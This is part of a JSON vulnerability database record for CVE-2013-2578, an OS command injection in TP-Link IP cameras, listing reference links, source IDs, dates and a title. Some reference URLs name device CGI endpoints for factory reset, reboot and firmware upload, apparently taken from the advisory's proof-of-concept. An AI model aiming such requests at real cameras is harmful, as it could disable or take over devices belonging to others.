        "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-2578"
      },
      {
        "trust": 0.6,
        "url": "http://seclists.org/fulldisclosure/2013/jul/272"
      },
      {
        "trust": 0.6,
        "url": "http://www.securityfocus.com/bid/61529"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras."
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://\u003cip-cam\u003e/cgi-bin/hardfactorydefault\u0027[2]."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-2580"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-2581"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-2578"
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "http://\u003cip-cam\u003e/cgi-bin/reboot\u0027[2]."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset\")"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-2579"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/uploadfile\","
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://seclists.org/fulldisclosure/2013/jun/84."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset\","
      },
      {
        "trust": 0.1,
        "url": "http://www.tp-link.com/en/products/details/?categoryid=230\u0026model=tl-sc3171."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/progress.htm"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "PACKETSTORM",
        "id": "122616"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "db": "BID",
        "id": "61529"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "PACKETSTORM",
        "id": "122616"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-08-02T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "date": "2013-10-11T00:00:00",
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "date": "2013-07-30T00:00:00",
        "db": "BID",
        "id": "61529"
      },
      {
        "date": "2013-10-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "date": "2013-07-31T04:44:44",
        "db": "PACKETSTORM",
        "id": "122616"
      },
      {
        "date": "2013-07-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "date": "2013-10-11T21:55:41.887000",
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-08-05T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "date": "2013-10-15T00:00:00",
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "date": "2013-10-22T06:46:00",
        "db": "BID",
        "id": "61529"
      },
      {
        "date": "2013-10-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "date": "2015-04-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "date": "2013-10-15T13:13:37.750000",
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "plural  TP-Link IP Cameras Product  cgi-bin/admin/servetest Vulnerable to arbitrary command execution",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "operating system commend injection",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…